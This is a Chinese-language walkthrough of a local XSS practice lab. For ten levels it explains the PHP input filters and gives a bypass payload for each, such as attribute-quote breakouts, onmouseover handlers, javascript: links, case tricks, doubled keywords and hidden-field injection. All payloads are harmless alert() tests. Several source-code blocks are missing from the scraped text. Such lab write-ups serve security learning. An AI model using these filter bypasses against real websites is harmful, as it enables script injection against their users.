跨站脚本攻击(Cross Site Script),为避免与(Cascading Style Sheet,CSS)重名,安全领域我们称为”XSS”。
XSS练习
第一关——无任何过滤
1 | <!DOCTYPE html> |
其中核心代码:
1 |
|
通过GET
方式将name
的参数值传进去,无任何过滤,如下图,传参ghjkl
进去
当攻击者恶意构造如下pyload
,将会触发js
弹窗
1 | <script>alert(/xss/)</script> |
第二关——htmlspecialchars($str)
部分转化
核心代码如下:
1 |
|
我们先尝试下<script>alert(/xss/)</script>
发现<
被转换为 <
、>
被转换为>
,仔细查看代码,htmlspecialchars
将这些特殊字符转换为 HTML 实体,那现在该怎么办呢?我们发现
1 | <input name=keyword value="<script>alert(/xss/)</script>"> |
我们所填的内容填充在这个文本框中,想想,我们是否可以填入"
,将其value
的值置为空,闭合双引号,致使input的标签提前结束,后面接着输入<script>alert(/xss/)</script>
即可弹窗,即最终显示的网页源代码如下
1 | <input name=keyword value=""><script>alert(/xss/)</script><""> |
稍稍构造,成功触发
第二关pyload
:http://127.0.0.1/xss/level2.php?keyword="><script>alert(/xss/)</script><"
第三关——htmlspecialchars($str)
全部转化(单引号)
1 |
|
完蛋!这下可咋整呀,这个也过滤掉了。
难道弹窗只有script
这一种方式吗?有其他的吗?当然有呀。比如我们接下来说的onmouseover='alert(/xss/)'
通过上面我们发现”
、<
、>
都被转化为html
的实体参数了,那单引号呢?我们试试
嗯呢,看来单引号并没有被转化为其他,我们试试刚刚的onmouseover='alert(/xss/)'
很好,接下来只要我们闭合单引号就行啦
第三关pyload
:http://127.0.0.1/xss/level3.php?keyword='onmouseover='alert(/xss/)
第四关——htmlspecialchars($str)
部分转化(双引号拼接、过滤<
和>
)
抱着侥幸的心理,去试试第三关的答案能不能过第四关
顺便看下源码
1 |
|
过滤了<
、>
,但是我们注意到input
标签没过滤,估摸着<script>alert(/xss/)</script>
用不了了,我们试试改改上关用的,需要注意的也只有是双引号闭合即可,故构造"onmouseover="alert(/xss/)
第四关pyload
:http://127.0.0.1/xss/level4.php?keyword="onmouseover="alert(/xss/)
第五关——htmlspecialchars($str)
部分转化(双引号拼接、strtolower()
、将on
转化0_n
)
1 |
|
嗯~过滤掉了on
和<script,大小写绕过?但是strtolower()
会将传入的参数先全部转换为小写,在进行匹配。咋办?
那我自己重新建个标签呗。
1 | "><a href="javascript:alert(/xss/) |
第五关pyload
:http://127.0.0.1/xss/level5.php?keyword="><a href="javascript:alert(/xss/)
第六关——htmlspecialchars($str)
部分转化(双引号拼接、无strtolower()
、将on
转化0_n
、src
转化sr_c
、data
转化da_ta
、href
转化hr_ef
)
查看对应源码
1 | <?php |
怎么办,又自闭了。我们回顾一下几种利用方式
1 | <a href="javascript:alert(/xss/)"/> |
但是仔细看看,你会发现,没有上一关的strtolower()
,哈哈,那改下大小写不就行了
第六关pyload
:http://127.0.0.1/xss/level6.php?keyword="><ScRIpt>alert(/xss/)</sCrIPt><"
第七关——htmlspecialchars($str)
部分转化(双引号拼接、无strtolower()
、将script
、on
、src
、data
、href
转化
)
查看下源代码
1 | <?php |
scScRIptript
—->script
,懂我意思了吧
第六关pyload
:http://127.0.0.1/xss/level6.php?keyword="><scScRIptript>alert(/xss/)</scrsCrIPtipt><"
第八关——
htmlspecialchars($str)部分转化(双引号拼接、
strtolower()、将
on转化
0_n、
src转化
sr_c、
data转化
da_ta、
href转化
hr_ef、
script转化
src_ipt`、双引号也被转化)
1 | <?php |
怎么办呢?只能编码绕过了,再利用echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
构造一个
需要注意的是,再进行过程中,不要在浏览器url框中输入,应当在文本框中输入
1 | javascript:alert(/xss/) |
否则会出现如下情况
第九关——htmlspecialchars($str)
部分转化(双引号拼接、strtolower()
、将on
转化0_n
、src
转化sr_c
、data
转化da_ta
、href
转化hr_ef
、script
转化src_ipt
、双引号也被转化,过滤后strpos()
指定字符串限制)
先试试呗
看下源代码
1 | <?php |
其中我们先看懂下strpos()
这个函数的意思
1 | strpos ( string $haystack , mixed $needle [, int $offset = 0 ] ) : int |
那只要$str7
存在http://
这个就行啦?
1 | javascript:alert(/xss/)<!--http://--> |
第十关——htmlspecialchars($str)
部分转化(双引号、单引号被转化,隐形标签利用)
1 | <?php |
通过源码直接分析keyword
的值没办法利用了,因为<
和>
被htmlspecialchars
转化为html
实体了,无法构造标签闭合。
但是还有一个t_sort的值,不过在网页中是隐形的。想想如何构造,只是过滤了<
和>
,想了想构造如下
1 | ghjkl" onmouseover="alert(/xss/)" type="text |